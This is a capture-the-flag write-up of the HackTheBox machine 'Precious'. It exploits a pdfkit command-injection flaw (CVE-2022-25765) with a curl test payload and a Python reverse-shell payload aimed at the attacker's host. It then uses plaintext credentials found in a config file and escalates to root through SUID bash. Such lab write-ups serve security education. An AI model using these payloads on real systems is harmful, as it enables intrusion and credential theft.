Precious Writeup
Written on December 19th, 2022 by MouseThis is a HackTheBox machine called precious. This machine has easy difficulty.
Reconnaissance
We start with a basic nmap scan of all ports, and then scan the open ports more aggressively.
Command:
nmap -p- [target]
Starting Nmap 7.91 ( https://nmap.org ) at 2022-12-22 20:39 EST
Nmap scan report for [target]
Host is up (0.024s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Command:
nmap -p 22,80 -A -O -sC -sV [target]
Nmap scan report for [target]
Host is up (0.015s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open http nginx 1.18.0
| http-server-header:
| nginx/1.18.0
|_ nginx/1.18.0 + Phusion Passenger(R) 6.0.15
|_http-title: Convert Web Page to PDF
We see that there is a web server running on port 80 and SSH running on port 22. The web server has the title Convert Web Page to PDF
and uses nginx 1.18.0
.
When visiting this webpage, we are redirected to precious.htb
, and get a ‘page not found’ error. This was rectified by adding the line [target] precious.htb
to the /etc/hosts
file.
This is the landing page we are met with:
It appears that this web page takes in a URL, and will spit out a PDF version of that webpage. On the backend, my guess is that it will download the requested webpage, convert this to a PDF file using a PHP script, then return the file. This however is just speculation, more investigation is required.
When I enter google.com
, we are met with an error message.
Next, I fired up Burp Suite and set up a proxy, so that we can see the web requests under the hood.
When I passed in the URL google.com
, this was the web request sent:
POST / HTTP/1.1
Host: precious.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
Origin: http://precious.htb
Connection: close
Referer: http://precious.htb/
Upgrade-Insecure-Requests: 1
url=google.com
And the response:
HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Connection: close
Status: 200 OK
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Date: Fri, 23 Dec 2022 02:22:24 GMT
X-Powered-By: Phusion Passenger(R) 6.0.15
Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15
X-Runtime: Ruby
Content-Length: 514
<!DOCTYPE html>
<html>
<head>
<title>Convert Web Page to PDF</title>
<link rel="stylesheet" href="stylesheets/style.css">
</head>
<body>
<div class="wrapper">
<h1 class="title">Convert Web Page to PDF</h1>
<form action="/" method="post">
<p>Enter URL to fetch</p><br>
<input type="text" name="url" value="">
<input type="submit" value="Submit">
</form>
<h2 class="msg">You should provide a valid URL!</h2>
</div>
</body>
</html>
An HTTP POST request is sent to precious.htb
, with the variable url=google.com
. The response is not very informative. It would perhaps be fruitful to see if the PDF functionality works when only used locally. I used Python’s HTTP module to whip up a web server on port 80, and requested my own IP address.
Command for HTTP server:
python3 -m http.server 80
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
[target] - - [22/Dec/2022 21:29:49] "GET / HTTP/1.1" 200 -
We see that we got a hit. A PDF file was downloaded to my system, which was just a copy of my empty directory.
Initial Access
My idea was to upload a reverse shell into my web server, forcing the web server to download it. I first tried to create a bash script to just output whoami
, but when uploaded to the web server, the usual happened - this was downloaded as a PDF, but the file was not executed. For now, it does not appear that this will work.
Let’s examine the PDF file generated. A file called nvsfi9fiq0z5mhmsj6oqxtstlqe4tq60.pdf
was created and downloaded to my local system. This file could contain useful metadata, which we now examine with exiftool
.
Command:
exiftool nvsfi9fiq0z5mhmsj6oqxtstlqe4tq60.pdf
ExifTool Version Number : 12.16
File Name : nvsfi9fiq0z5mhmsj6oqxtstlqe4tq60.pdf
Directory : .
File Size : 18 KiB
File Modification Date/Time : 2022:12:22 21:40:10-05:00
File Access Date/Time : 2022:12:22 21:40:10-05:00
File Inode Change Date/Time : 2022:12:22 21:40:12-05:00
File Permissions : rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
This web server uses pdfkit v0.8.6
to do the PDF conversion. Upon a Google search, there is an exploit for this version of pdfkit - it is vulnerable to command injection. Inputs to Pdfkit are not properly sanitized, and query string parameters in URLs are run as commands. This exploit is CVE-2022-25765, and Snyk have some PoCs.
To see if this server is vulnerable, we can enter a fake URL, and inject a command into the parameter which attempts to get our web server using curl
. If we see a hit on the web server, we will know that this has executed.
Payload:
http://example.com/?name=#{‘%20`curl -XGET [my IP]’}
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
[target] - - [22/Dec/2022 21:58:42] "GET / HTTP/1.1" 200 -
As expected, we see a hit on our web server - the vulnerable server executed our command, and so is vulnerable to command injection. We can now create a reverse shell. I used a Python shell taken from PayloadAllTheThings, and used a netcat listener.
Command for Listener:
nc -lnvp 1234
Payload:
http://[my ip]/?name=%20’python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“[my ip]”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(“sh”)’’
And this worked!
└─$ nc -lnvp 1234 1 ⨯
listening on [any] 1234 ...
connect to [my ip] from (UNKNOWN) [target ip] 44382
$ id
id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
Lateral Movement
We now have access to the ruby
user. After snooping around, there is another user called henry
, with the user flag in their home directory. We must now pivot to henry’s user. Snooping around Ruby’s home directory, we find a hidden folder called .bundle
, containing a file with henry
’s credentials.
$ pwd
pwd
/var/www/pdfapp
$ cd ~
cd ~
$ ls -a
ls -a
. .. .bash_history .bash_logout .bashrc .bundle .cache .profile
$ cd .bundle
cd .bundle
$ ls
ls
config
$ cat config
cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
$ su henry
su henry
Password: Q3c1AqGHtoI0aXAYFH
bash-5.1$ whoami
whoami
henry
We are now in henry
’s user account, and find the first flag user.txt
!
cd ~
bash-5.1$ ls
ls
dependencies.yml test.rb user.txt
bash-5.1$ cat user.txt
cat user.txt
4ac161ef71b66aa6ea3e6a90102ee693
bash-5.1$
Privilege Escalation
Now for privilege escalation. We search for any SUID files within the system.
Command:
find / -perm 6000
/usr/local/share/fonts
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/umount
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/ssh-agent
/usr/bin/crontab
/usr/bin/expiry
/usr/bin/bash
/usr/bin/su
/usr/bin/wall
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chage
/usr/bin/mount
/usr/bin/fusermount
/usr/sbin/unix_chkpwd
Apart from the usual SUID files we expect to find, we see that bash
has the SUID bit enabled. After consulting GTFOBins we can simply run bash -p
to exploit this misconfiguration.
bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt
c067311b8ba45659f38cace8b536e0ae
And we now have the root flag, and have thus pwned Precious!
Conclusion
For this machine, a variety of standard CTF and penetration test techniques were used. We scanned the network for open ports, investigated the web server, and exploited an unpatched piece of software. For lateral movement and privilege escalation, we exploited misconfigurations in the system.
This machine highlights the importance of keeping all software updated - you never know if a tiny piece of backend software has a gaping vulnerability. If PdfKit had been updated to the latest version, we wouldn’t even have gained initial access. Furthermore, credentials should never be stored in plaintext on a different user account, like we saw in the ruby
account. To conclude - update everything and don’t store plaintext credentials!
Tools Used
- Nmap
- Netcat
External Links
Proof Of Concept For CVE-2022-25765